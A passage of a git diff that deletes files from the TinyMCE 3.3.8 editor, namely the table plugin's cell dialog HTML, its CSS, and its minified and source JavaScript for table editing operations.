'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('tabfocus', tinymce.plugins.TabFocusPlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/cell.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/cell.htm deleted file mode 100644 index d243e1d..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/cell.htm +++ /dev/null @@ -1,178 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#table_dlg.cell_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="js/cell.js"></script> - <link href="css/cell.css" rel="stylesheet" type="text/css" /> -</head> -<body id="tablecell" style="display: none"> - <form onsubmit="updateAction();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#table_dlg.general_tab}</a></span></li> - <li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#table_dlg.advanced_tab}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#table_dlg.general_props}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td><label for="align">{#table_dlg.align}</label></td> - <td> - <select id="align" name="align" class="mceFocus"> - <option value="">{#not_set}</option> - <option value="center">{#table_dlg.align_middle}</option> - <option value="left">{#table_dlg.align_left}</option> - <option value="right">{#table_dlg.align_right}</option> - </select> - </td> - - <td><label for="celltype">{#table_dlg.cell_type}</label></td> - <td> - <select id="celltype" name="celltype"> - <option value="td">{#table_dlg.td}</option> - <option value="th">{#table_dlg.th}</option> - </select> - </td> - </tr> - - <tr> - <td><label for="valign">{#table_dlg.valign}</label></td> - <td> - <select id="valign" name="valign"> - <option value="">{#not_set}</option> - <option value="top">{#table_dlg.align_top}</option> - <option value="middle">{#table_dlg.align_middle}</option> - <option value="bottom">{#table_dlg.align_bottom}</option> - </select> - </td> - - <td><label for="scope">{#table_dlg.scope}</label></td> - <td> - <select id="scope" name="scope"> - <option value="">{#not_set}</option> - <option value="col">{#table.col}</option> - <option value="row">{#table.row}</option> - <option value="rowgroup">{#table_dlg.rowgroup}</option> - <option value="colgroup">{#table_dlg.colgroup}</option> - </select> - </td> - - </tr> - - <tr> - <td><label for="width">{#table_dlg.width}</label></td> - <td><input id="width" name="width" type="text" value="" size="4" maxlength="4" onchange="changedSize();" /></td> - - <td><label for="height">{#table_dlg.height}</label></td> - <td><input id="height" name="height" type="text" value="" size="4" maxlength="4" onchange="changedSize();" /></td> - </tr> - - <tr id="styleSelectRow"> - <td><label for="class">{#class_name}</label></td> - <td colspan="3"> - <select id="class" name="class" class="mceEditableSelect"> - <option value="" selected="selected">{#not_set}</option> - </select> - </td> - </tr> - </table> - </fieldset> - </div> - - <div id="advanced_panel" class="panel"> - <fieldset> - <legend>{#table_dlg.advanced_props}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="column1"><label for="id">{#table_dlg.id}</label></td> - <td><input id="id" name="id" type="text" value="" style="width: 200px" /></td> - </tr> - - <tr> - <td><label for="style">{#table_dlg.style}</label></td> - <td><input type="text" id="style" name="style" value="" style="width: 200px;" onchange="changedStyle();" /></td> - </tr> - - <tr> - <td class="column1"><label for="dir">{#table_dlg.langdir}</label></td> - <td> - <select id="dir" name="dir" style="width: 200px"> - <option value="">{#not_set}</option> - <option value="ltr">{#table_dlg.ltr}</option> - <option value="rtl">{#table_dlg.rtl}</option> - </select> - </td> - </tr> - - <tr> - <td class="column1"><label for="lang">{#table_dlg.langcode}</label></td> - <td> - <input id="lang" name="lang" type="text" value="" style="width: 200px" /> - </td> - </tr> - - <tr> - <td class="column1"><label for="backgroundimage">{#table_dlg.bgimage}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="backgroundimage" name="backgroundimage" type="text" value="" style="width: 200px" onchange="changedBackgroundImage();" /></td> - <td id="backgroundimagebrowsercontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="column1"><label for="bordercolor">{#table_dlg.bordercolor}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="bordercolor" name="bordercolor" type="text" value="" size="9" onchange="updateColor('bordercolor_pick','bordercolor');changedColor();" /></td> - <td id="bordercolor_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="column1"><label for="bgcolor">{#table_dlg.bgcolor}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="bgcolor" name="bgcolor" type="text" value="" size="9" onchange="updateColor('bgcolor_pick','bgcolor');changedColor();" /></td> - <td id="bgcolor_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> - </div> - </div> - - <div class="mceActionPanel"> - <div> - <select id="action" name="action"> - <option value="cell">{#table_dlg.cell_cell}</option> - <option value="row">{#table_dlg.cell_row}</option> - <option value="all">{#table_dlg.cell_all}</option> - </select> - </div> - - <input type="submit" id="insert" name="insert" value="{#update}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> - </form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/cell.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/cell.css deleted file mode 100644 index a067ecd..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/cell.css +++ /dev/null @@ -1,17 +0,0 @@ -/* CSS file for cell dialog in the table plugin */ - -.panel_wrapper div.current { - height: 200px; -} - -.advfield { - width: 200px; -} - -#action { - margin-bottom: 3px; -} - -#class { - width: 150px; -} \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/row.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/row.css deleted file mode 100644 index 1f7755d..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/row.css +++ /dev/null @@ -1,25 +0,0 @@ -/* CSS file for row dialog in the table plugin */ - -.panel_wrapper div.current { - height: 200px; -} - -.advfield { - width: 200px; -} - -#action { - margin-bottom: 3px; -} - -#rowtype,#align,#valign,#class,#height { - width: 150px; -} - -#height { - width: 50px; -} - -.col2 { - padding-left: 20px; -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/table.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/table.css deleted file mode 100644 index d11c3f6..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/css/table.css +++ /dev/null @@ -1,13 +0,0 @@ -/* CSS file for table dialog in the table plugin */ - -.panel_wrapper div.current { - height: 245px; -} - -.advfield { - width: 200px; -} - -#class { - width: 150px; -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/editor_plugin.js deleted file mode 100644 index 266d7d5..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(b){var c=b.each;function a(F,E,I){var e,J,B,n;r();n=E.getParent(I.getStart(),"th,td");if(n){J=D(n);B=G();n=v(J.x,J.y)}function w(L,K){L=L.cloneNode(K);L.removeAttribute("id");return L}function r(){var K=0;e=[];c(["thead","tbody","tfoot"],function(L){var M=E.select(L+" tr",F);c(M,function(N,O){O+=K;c(E.select("td,th",N),function(U,P){var Q,R,S,T;if(e[O]){while(e[O][P]){P++}}S=g(U,"rowspan");T=g(U,"colspan");for(R=O;R<O+S;R++){if(!e[R]){e[R]=[]}for(Q=P;Q<P+T;Q++){e[R][Q]={part:L,real:R==O&&Q==P,elm:U,rowspan:S,colspan:T}}}})});K+=M.length})}function v(K,M){var L;L=e[M];if(L){return L[K]}}function g(L,K){return parseInt(L.getAttribute(K)||1)}function h(K){return E.hasClass(K.elm,"mceSelected")||K==n}function j(){var K=[];c(F.rows,function(L){c(L.cells,function(M){if(E.hasClass(M,"mceSelected")||M==n.elm){K.push(L);return false}})});return K}function q(){var K=E.createRng();K.setStartAfter(F);K.setEndAfter(F);I.setRng(K);E.remove(F)}function d(K){var L;b.walk(K,function(N){var M;if(N.nodeType==3){c(E.getParents(N.parentNode,null,K).reverse(),function(O){O=w(O,false);if(!L){L=M=O}else{if(M){M.appendChild(O)}}M=O});if(M){M.innerHTML=b.isIE?"&nbsp;":'<br _mce_bogus="1" />'}return false}},"childNodes");K=w(K,false);K.rowSpan=K.colSpan=1;if(L){K.appendChild(L)}else{if(!b.isIE){K.innerHTML='<br _mce_bogus="1" />'}}return K}function p(){var K=E.createRng();c(E.select("tr",F),function(L){if(L.cells.length==0){E.remove(L)}});if(E.select("tr",F).length==0){K.setStartAfter(F);K.setEndAfter(F);I.setRng(K);E.remove(F);return}c(E.select("thead,tbody,tfoot",F),function(L){if(L.rows.length==0){E.remove(L)}});r();row=e[Math.min(e.length-1,J.y)];if(row){I.select(row[Math.min(row.length-1,J.x)].elm,true);I.collapse(true)}}function s(Q,O,S,P){var N,L,K,M,R;N=e[O][Q].elm.parentNode;for(K=1;K<=S;K++){N=E.getNext(N,"tr");if(N){for(L=Q;L>=0;L--){R=e[O+K][L].elm;if(R.parentNode==N){for(M=1;M<=P;M++){E.insertAfter(d(R),R)}break}}if(L==-1){for(M=1;M<=P;M++){N.insertBefore(d(N.cells[0]),N.cells[0])}}}}}function A(){c(e,function(K,L){c(K,function(N,M){var Q,P,R,O;if(h(N)){N=N.elm;Q=g(N,"colspan");P=g(N,"rowspan");if(Q>1||P>1){N.colSpan=N.rowSpan=1;for(O=0;O<Q-1;O++){E.insertAfter(d(N),N)}s(M,L,P-1,Q)}}})})}function o(S,P,V){var N,M,U,T,R,O,Q,K,S,L;if(S){pos=D(S);N=pos.x;M=pos.y;U=N+(P-1);T=M+(V-1)}else{N=J.x;M=J.y;U=B.x;T=B.y}Q=v(N,M);K=v(U,T);if(Q&&K&&Q.part==K.part){A();r();Q=v(N,M).elm;Q.colSpan=(U-N)+1;Q.rowSpan=(T-M)+1;for(O=M;O<=T;O++){for(R=N;R<=U;R++){S=e[O][R].elm;if(S!=Q){L=b.grep(S.childNodes);c(L,function(X,W){if(X.nodeName!="BR"||W!=L.length-1){Q.appendChild(X)}});E.remove(S)}}}p()}}function k(N){var K,P,M,O,Q,R,L,S;c(e,function(T,U){c(T,function(W,V){if(h(W)){W=W.elm;Q=W.parentNode;R=w(Q,false);K=U;if(N){return false}}});if(N){return !K}});for(O=0;O<e[0].length;O++){P=e[K][O].elm;if(P!=M){if(!N){rowSpan=g(P,"rowspan");if(rowSpan>1){P.rowSpan=rowSpan+1;continue}}else{if(K>0&&e[K-1][O]){S=e[K-1][O].elm;rowSpan=g(S,"rowspan");if(rowSpan>1){S.rowSpan=rowSpan+1;continue}}}L=d(P);L.colSpan=P.colSpan;R.appendChild(L);M=P}}if(R.hasChildNodes()){if(!N){E.insertAfter(R,Q)}else{Q.parentNode.insertBefore(R,Q)}}}function f(L){var M,K;c(e,function(N,O){c(N,function(Q,P){if(h(Q)){M=P;if(L){return false}}});if(L){return !M}});c(e,function(Q,R){var N=Q[M].elm,O,P;if(N!=K){P=g(N,"colspan");O=g(N,"rowspan");if(P==1){if(!L){E.insertAfter(d(N),N);s(M,R,O-1,P)}else{N.parentNode.insertBefore(d(N),N);s(M,R,O-1,P)}}else{N.colSpan++}K=N}})}function m(){var K=[];c(e,function(L,M){c(L,function(O,N){if(h(O)&&b.inArray(K,N)===-1){c(e,function(R){var P=R[N].elm,Q;Q=g(P,"colspan");if(Q>1){P.colSpan=Q-1}else{E.remove(P)}});K.push(N)}})});p()}function l(){var L;function K(O){var N,P,M;N=E.getNext(O,"tr");c(O.cells,function(Q){var R=g(Q,"rowspan");if(R>1){Q.rowSpan=R-1;P=D(Q);s(P.x,P.y,1,1)}});P=D(O.cells[0]);c(e[P.y],function(Q){var R;Q=Q.elm;if(Q!=M){R=g(Q,"rowspan");if(R<=1){E.remove(Q)}else{Q.rowSpan=R-1}M=Q}})}L=j();c(L.reverse(),function(M){K(M)});p()}function C(){var K=j();E.remove(K);p();return K}function H(){var K=j();c(K,function(M,L){K[L]=w(M,true)});return K}function z(M,L){var N=j(),K=N[L?0:N.length-1],O=K.cells.length;c(e,function(Q){var P;O=0;c(Q,function(S,R){if(S.real){O+=S.colspan}if(S.elm.parentNode==K){P=1}});if(P){return false}});if(!L){M.reverse()}c(M,function(R){var Q=R.cells.length,P;for(i=0;i<Q;i++){P=R.cells[i];P.colSpan=P.rowSpan=1}for(i=Q;i<O;i++){R.appendChild(d(R.cells[Q-1]))}for(i=O;i<Q;i++){E.remove(R.cells[i])}if(L){K.parentNode.insertBefore(R,K)}else{E.insertAfter(R,K)}})}function D(K){var L;c(e,function(M,N){c(M,function(P,O){if(P.elm==K){L={x:O,y:N};return false}});return !L});return L}function u(K){J=D(K)}function G(){var M,L,K;L=K=0;c(e,function(N,O){c(N,function(Q,P){var S,R;if(h(Q)){Q=e[O][P];if(P>L){L=P}if(O>K){K=O}if(Q.real){S=Q.colspan-1;R=Q.rowspan-1;if(S){if(P+S>L){L=P+S}}if(R){if(O+R>K){K=O+R}}}}})});return{x:L,y:K}}function t(Q){var N,M,S,R,L,K,O,P;B=D(Q);if(J&&B){N=Math.min(J.x,B.x);M=Math.min(J.y,B.y);S=Math.max(J.x,B.x);R=Math.max(J.y,B.y);L=S;K=R;for(y=M;y<=K;y++){Q=e[y][N];if(!Q.real){if(N-(Q.colspan-1)<N){N-=Q.colspan-1}}}for(x=N;x<=L;x++){Q=e[M][x];if(!Q.real){if(M-(Q.rowspan-1)<M){M-=Q.rowspan-1}}}for(y=M;y<=R;y++){for(x=N;x<=S;x++){Q=e[y][x];if(Q.real){O=Q.colspan-1;P=Q.rowspan-1;if(O){if(x+O>L){L=x+O}}if(P){if(y+P>K){K=y+P}}}}}E.removeClass(E.select("td.mceSelected,th.mceSelected"),"mceSelected");for(y=M;y<=K;y++){for(x=N;x<=L;x++){E.addClass(e[y][x].elm,"mceSelected")}}}}b.extend(this,{deleteTable:q,split:A,merge:o,insertRow:k,insertCol:f,deleteCols:m,deleteRows:l,cutRows:C,copyRows:H,pasteRows:z,getPos:D,setStartCell:u,setEndCell:t})}b.create("tinymce.plugins.TablePlugin",{init:function(e,f){var d,j;function h(m){var l=e.selection,k=e.dom.getParent(m||l.getNode(),"table");if(k){return new a(k,e.dom,l)}}function g(){e.getBody().style.webkitUserSelect="";e.dom.removeClass(e.dom.select("td.mceSelected,th.mceSelected"),"mceSelected")}c([["table","table.desc","mceInsertTable",true],["delete_table","table.del","mceTableDelete"],["delete_col","table.delete_col_desc","mceTableDeleteCol"],["delete_row","table.delete_row_desc","mceTableDeleteRow"],["col_after","table.col_after_desc","mceTableInsertColAfter"],["col_before","table.col_before_desc","mceTableInsertColBefore"],["row_after","table.row_after_desc","mceTableInsertRowAfter"],["row_before","table.row_before_desc","mceTableInsertRowBefore"],["row_props","table.row_desc","mceTableRowProps",true],["cell_props","table.cell_desc","mceTableCellProps",true],["split_cells","table.split_cells_desc","mceTableSplitCells",true],["merge_cells","table.merge_cells_desc","mceTableMergeCells",true]],function(k){e.addButton(k[0],{title:k[1],cmd:k[2],ui:k[3]})});if(!b.isIE){e.onClick.add(function(k,l){l=l.target;if(l.nodeName==="TABLE"){k.selection.select(l)}})}e.onNodeChange.add(function(l,k,o){var m;o=l.selection.getStart();m=l.dom.getParent(o,"td,th,caption");k.setActive("table",o.nodeName==="TABLE"||!!m);if(m&&m.nodeName==="CAPTION"){m=0}k.setDisabled("delete_table",!m);k.setDisabled("delete_col",!m);k.setDisabled("delete_table",!m);k.setDisabled("delete_row",!m);k.setDisabled("col_after",!m);k.setDisabled("col_before",!m);k.setDisabled("row_after",!m);k.setDisabled("row_before",!m);k.setDisabled("row_props",!m);k.setDisabled("cell_props",!m);k.setDisabled("split_cells",!m);k.setDisabled("merge_cells",!m)});e.onInit.add(function(l){var k,o,p=l.dom,m;d=l.windowManager;l.onMouseDown.add(function(q,r){if(r.button!=2){g();o=p.getParent(r.target,"td,th");k=p.getParent(o,"table")}});p.bind(l.getDoc(),"mouseover",function(t){var r,q,s=t.target;if(o&&(m||s!=o)&&(s.nodeName=="TD"||s.nodeName=="TH")){q=p.getParent(s,"table");if(q==k){if(!m){m=h(q);m.setStartCell(o);l.getBody().style.webkitUserSelect="none"}m.setEndCell(s)}r=l.selection.getSel();if(r.removeAllRanges){r.removeAllRanges()}else{r.empty()}t.preventDefault()}});l.onMouseUp.add(function(z,A){var r,t=z.selection,B,C=t.getSel(),q,u,s,w;if(o){if(m){z.getBody().style.webkitUserSelect=""}function v(D,F){var E=new b.dom.TreeWalker(D,D);do{if(D.nodeType==3&&b.trim(D.nodeValue).length!=0){if(F){r.setStart(D,0)}else{r.setEnd(D,D.nodeValue.length)}return}if(D.nodeName=="BR"){if(F){r.setStartBefore(D)}else{r.setEndBefore(D)}return}}while(D=(F?E.next():E.prev()))}B=p.select("td.mceSelected,th.mceSelected");if(B.length>0){r=p.createRng();u=B[0];w=B[B.length-1];v(u,1);q=new b.dom.TreeWalker(u,p.getParent(B[0],"table"));do{if(u.nodeName=="TD"||u.nodeName=="TH"){if(!p.hasClass(u,"mceSelected")){break}s=u}}while(u=q.next());v(s);t.setRng(r)}z.nodeChanged();o=m=k=null}});l.onKeyUp.add(function(q,r){g()});if(l&&l.plugins.contextmenu){l.plugins.contextmenu.onContextMenu.add(function(s,q,u){var v,t=l.selection,r=t.getNode()||l.getBody();if(l.dom.getParent(u,"td")||l.dom.getParent(u,"th")||l.dom.select("td.mceSelected,th.mceSelected").length){q.removeAll();if(r.nodeName=="A"&&!l.dom.getAttrib(r,"name")){q.add({title:"advanced.link_desc",icon:"link",cmd:l.plugins.advlink?"mceAdvLink":"mceLink",ui:true});q.add({title:"advanced.unlink_desc",icon:"unlink",cmd:"UnLink"});q.addSeparator()}if(r.nodeName=="IMG"&&r.className.indexOf("mceItem")==-1){q.add({title:"advanced.image_desc",icon:"image",cmd:l.plugins.advimage?"mceAdvImage":"mceImage",ui:true});q.addSeparator()}q.add({title:"table.desc",icon:"table",cmd:"mceInsertTable",value:{action:"insert"}});q.add({title:"table.props_desc",icon:"table_props",cmd:"mceInsertTable"});q.add({title:"table.del",icon:"delete_table",cmd:"mceTableDelete"});q.addSeparator();v=q.addMenu({title:"table.cell"});v.add({title:"table.cell_desc",icon:"cell_props",cmd:"mceTableCellProps"});v.add({title:"table.split_cells_desc",icon:"split_cells",cmd:"mceTableSplitCells"});v.add({title:"table.merge_cells_desc",icon:"merge_cells",cmd:"mceTableMergeCells"});v=q.addMenu({title:"table.row"});v.add({title:"table.row_desc",icon:"row_props",cmd:"mceTableRowProps"});v.add({title:"table.row_before_desc",icon:"row_before",cmd:"mceTableInsertRowBefore"});v.add({title:"table.row_after_desc",icon:"row_after",cmd:"mceTableInsertRowAfter"});v.add({title:"table.delete_row_desc",icon:"delete_row",cmd:"mceTableDeleteRow"});v.addSeparator();v.add({title:"table.cut_row_desc",icon:"cut",cmd:"mceTableCutRow"});v.add({title:"table.copy_row_desc",icon:"copy",cmd:"mceTableCopyRow"});v.add({title:"table.paste_row_before_desc",icon:"paste",cmd:"mceTablePasteRowBefore"}).setDisabled(!j);v.add({title:"table.paste_row_after_desc",icon:"paste",cmd:"mceTablePasteRowAfter"}).setDisabled(!j);v=q.addMenu({title:"table.col"});v.add({title:"table.col_before_desc",icon:"col_before",cmd:"mceTableInsertColBefore"});v.add({title:"table.col_after_desc",icon:"col_after",cmd:"mceTableInsertColAfter"});v.add({title:"table.delete_col_desc",icon:"delete_col",cmd:"mceTableDeleteCol"})}else{q.add({title:"table.desc",icon:"table",cmd:"mceInsertTable"})}})}if(!b.isIE){function n(){var q;for(q=l.getBody().lastChild;q&&q.nodeType==3&&!q.nodeValue.length;q=q.previousSibling){}if(q&&q.nodeName=="TABLE"){l.dom.add(l.getBody(),"p",null,'<br mce_bogus="1" />')}}if(b.isGecko){l.onKeyDown.add(function(r,t){var q,s,u=r.dom;if(t.keyCode==37||t.keyCode==38){q=r.selection.getRng();s=u.getParent(q.startContainer,"table");if(s&&r.getBody().firstChild==s){if(isAtStart(q,s)){q=u.createRng();q.setStartBefore(s);q.setEndBefore(s);r.selection.setRng(q);t.preventDefault()}}}})}l.onKeyUp.add(n);l.onSetContent.add(n);l.onVisualAid.add(n);l.onPreProcess.add(function(q,s){var r=s.node.lastChild;if(r&&r.childNodes.length==1&&r.firstChild.nodeName=="BR"){q.dom.remove(r)}});n()}});c({mceTableSplitCells:function(k){k.split()},mceTableMergeCells:function(l){var m,n,k;k=e.dom.getParent(e.selection.getNode(),"th,td");if(k){m=k.rowSpan;n=k.colSpan}if(!e.dom.select("td.mceSelected,th.mceSelected").length){d.open({url:f+"/merge_cells.htm",width:240+parseInt(e.getLang("table.merge_cells_delta_width",0)),height:110+parseInt(e.getLang("table.merge_cells_delta_height",0)),inline:1},{rows:m,cols:n,onaction:function(o){l.merge(k,o.cols,o.rows)},plugin_url:f})}else{l.merge()}},mceTableInsertRowBefore:function(k){k.insertRow(true)},mceTableInsertRowAfter:function(k){k.insertRow()},mceTableInsertColBefore:function(k){k.insertCol(true)},mceTableInsertColAfter:function(k){k.insertCol()},mceTableDeleteCol:function(k){k.deleteCols()},mceTableDeleteRow:function(k){k.deleteRows()},mceTableCutRow:function(k){j=k.cutRows()},mceTableCopyRow:function(k){j=k.copyRows()},mceTablePasteRowBefore:function(k){k.pasteRows(j,true)},mceTablePasteRowAfter:function(k){k.pasteRows(j)},mceTableDelete:function(k){k.deleteTable()}},function(l,k){e.addCommand(k,function(){var m=h();if(m){l(m);e.execCommand("mceRepaint");g()}})});c({mceInsertTable:function(k){d.open({url:f+"/table.htm",width:400+parseInt(e.getLang("table.table_delta_width",0)),height:320+parseInt(e.getLang("table.table_delta_height",0)),inline:1},{plugin_url:f,action:k?k.action:0})},mceTableRowProps:function(){d.open({url:f+"/row.htm",width:400+parseInt(e.getLang("table.rowprops_delta_width",0)),height:295+parseInt(e.getLang("table.rowprops_delta_height",0)),inline:1},{plugin_url:f})},mceTableCellProps:function(){d.open({url:f+"/cell.htm",width:400+parseInt(e.getLang("table.cellprops_delta_width",0)),height:295+parseInt(e.getLang("table.cellprops_delta_height",0)),inline:1},{plugin_url:f})}},function(l,k){e.addCommand(k,function(m,n){l(n)})})}});b.PluginManager.add("table",b.plugins.TablePlugin)})(tinymce); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/editor_plugin_src.js deleted file mode 100644 index c2f307f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/editor_plugin_src.js +++ /dev/null @@ -1,1125 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function(tinymce) { - var each = tinymce.each; - - /** - * Table Grid class. - */ - function TableGrid(table, dom, selection) { - var grid, startPos, endPos, selectedCell; - - buildGrid(); - selectedCell = dom.getParent(selection.getStart(), 'th,td'); - if (selectedCell) { - startPos = getPos(selectedCell); - endPos = findEndPos(); - selectedCell = getCell(startPos.x, startPos.y); - } - - function cloneNode(node, children) { - node = node.cloneNode(children); - node.removeAttribute('id'); - - return node; - } - - function buildGrid() { - var startY = 0; - - grid = []; - - each(['thead', 'tbody', 'tfoot'], function(part) { - var rows = dom.select(part + ' tr', table); - - each(rows, function(tr, y) { - y += startY; - - each(dom.select('td,th', tr), function(td, x) { - var x2, y2, rowspan, colspan; - - // Skip over existing cells produced by rowspan - if (grid[y]) { - while (grid[y][x]) - x++; - } - - // Get col/rowspan from cell - rowspan = getSpanVal(td, 'rowspan'); - colspan = getSpanVal(td, 'colspan'); - - // Fill out rowspan/colspan right and down - for (y2 = y; y2 < y + rowspan; y2++) { - if (!grid[y2]) - grid[y2] = []; - - for (x2 = x; x2 < x + colspan; x2++) { - grid[y2][x2] = { - part : part, - real : y2 == y && x2 == x, - elm : td, - rowspan : rowspan, - colspan : colspan - }; - } - } - }); - }); - - startY += rows.length; - }); - }; - - function getCell(x, y) { - var row; - - row = grid[y]; - if (row) - return row[x]; - }; - - function getSpanVal(td, name) { - return parseInt(td.getAttribute(name) || 1); - }; - - function isCellSelected(cell) { - return dom.hasClass(cell.elm, 'mceSelected') || cell == selectedCell; - }; - - function getSelectedRows() { - var rows = []; - - each(table.rows, function(row) { - each(row.cells, function(cell) { - if (dom.hasClass(cell, 'mceSelected') || cell == selectedCell.elm) { - rows.push(row); - return false; - } - }); - }); - - return rows; - }; - - function deleteTable() { - var rng = dom.createRng(); - - rng.setStartAfter(table); - rng.setEndAfter(table); - - selection.setRng(rng); - - dom.remove(table); - }; - - function cloneCell(cell) { - var formatNode; - - // Clone formats - tinymce.walk(cell, function(node) { - var curNode; - - if (node.nodeType == 3) { - each(dom.getParents(node.parentNode, null, cell).reverse(), function(node) { - node = cloneNode(node, false); - - if (!formatNode) - formatNode = curNode = node; - else if (curNode) - curNode.appendChild(node); - - curNode = node; - }); - - // Add something to the inner node - if (curNode) - curNode.innerHTML = tinymce.isIE ? '&nbsp;' : '<br _mce_bogus="1" />'; - - return false; - } - }, 'childNodes'); - - cell = cloneNode(cell, false); - cell.rowSpan = cell.colSpan = 1; - - if (formatNode) { - cell.appendChild(formatNode); - } else { - if (!tinymce.isIE) - cell.innerHTML = '<br _mce_bogus="1" />'; - } - - return cell; - }; - - function cleanup() { - var rng = dom.createRng(); - - // Empty rows - each(dom.select('tr', table), function(tr) { - if (tr.cells.length == 0) - dom.remove(tr); - }); - - // Empty table - if (dom.select('tr', table).length == 0) { - rng.setStartAfter(table); - rng.setEndAfter(table); - selection.setRng(rng); - dom.remove(table); - return; - } - - // Empty header/body/footer - each(dom.select('thead,tbody,tfoot', table), function(part) { - if (part.rows.length == 0) - dom.remove(part); - }); - - // Restore selection to start position if it still exists - buildGrid(); - - // Restore the selection to the closest table position - row = grid[Math.min(grid.length - 1, startPos.y)]; - if (row) { - selection.select(row[Math.min(row.length - 1, startPos.x)].elm, true); - selection.collapse(true); - } - }; - - function fillLeftDown(x, y, rows, cols) { - var tr, x2, r, c, cell; - - tr = grid[y][x].elm.parentNode; - for (r = 1; r <= rows; r++) { - tr = dom.getNext(tr, 'tr'); - - if (tr) { - // Loop left to find real cell - for (x2 = x; x2 >= 0; x2--) { - cell = grid[y + r][x2].elm; - - if (cell.parentNode == tr) { - // Append clones after - for (c = 1; c <= cols; c++) - dom.insertAfter(cloneCell(cell), cell); - - break; - } - } - - if (x2 == -1) { - // Insert nodes before first cell - for (c = 1; c <= cols; c++) - tr.insertBefore(cloneCell(tr.cells[0]), tr.cells[0]); - } - } - } - }; - - function split() { - each(grid, function(row, y) { - each(row, function(cell, x) { - var colSpan, rowSpan, newCell, i; - - if (isCellSelected(cell)) { - cell = cell.elm; - colSpan = getSpanVal(cell, 'colspan'); - rowSpan = getSpanVal(cell, 'rowspan'); - - if (colSpan > 1 || rowSpan > 1) { - cell.colSpan = cell.rowSpan = 1; - - // Insert cells right - for (i = 0; i < colSpan - 1; i++) - dom.insertAfter(cloneCell(cell), cell); - - fillLeftDown(x, y, rowSpan - 1, colSpan); - } - } - }); - }); - }; - - function merge(cell, cols, rows) { - var startX, startY, endX, endY, x, y, startCell, endCell, cell, children; - - // Use specified cell and cols/rows - if (cell) { - pos = getPos(cell); - startX = pos.x; - startY = pos.y; - endX = startX + (cols - 1); - endY = startY + (rows - 1); - } else { - // Use selection - startX = startPos.x; - startY = startPos.y; - endX = endPos.x; - endY = endPos.y; - } - - // Find start/end cells - startCell = getCell(startX, startY); - endCell = getCell(endX, endY); - - // Check if the cells exists and if they are of the same part for example tbody = tbody - if (startCell && endCell && startCell.part == endCell.part) { - // Split and rebuild grid - split(); - buildGrid(); - - // Set row/col span to start cell - startCell = getCell(startX, startY).elm; - startCell.colSpan = (endX - startX) + 1; - startCell.rowSpan = (endY - startY) + 1; - - // Remove other cells and add it's contents to the start cell - for (y = startY; y <= endY; y++) { - for (x = startX; x <= endX; x++) { - cell = grid[y][x].elm; - - if (cell != startCell) { - // Move children to startCell - children = tinymce.grep(cell.childNodes); - each(children, function(node, i) { - // Jump over last BR element - if (node.nodeName != 'BR' || i != children.length - 1) - startCell.appendChild(node); - }); - - // Remove cell - dom.remove(cell); - } - } - } - - // Remove empty rows etc and restore caret location - cleanup(); - } - }; - - function insertRow(before) { - var posY, cell, lastCell, x, rowElm, newRow, newCell, otherCell; - - // Find first/last row - each(grid, function(row, y) { - each(row, function(cell, x) { - if (isCellSelected(cell)) { - cell = cell.elm; - rowElm = cell.parentNode; - newRow = cloneNode(rowElm, false); - posY = y; - - if (before) - return false; - } - }); - - if (before) - return !posY; - }); - - for (x = 0; x < grid[0].length; x++) { - cell = grid[posY][x].elm; - - if 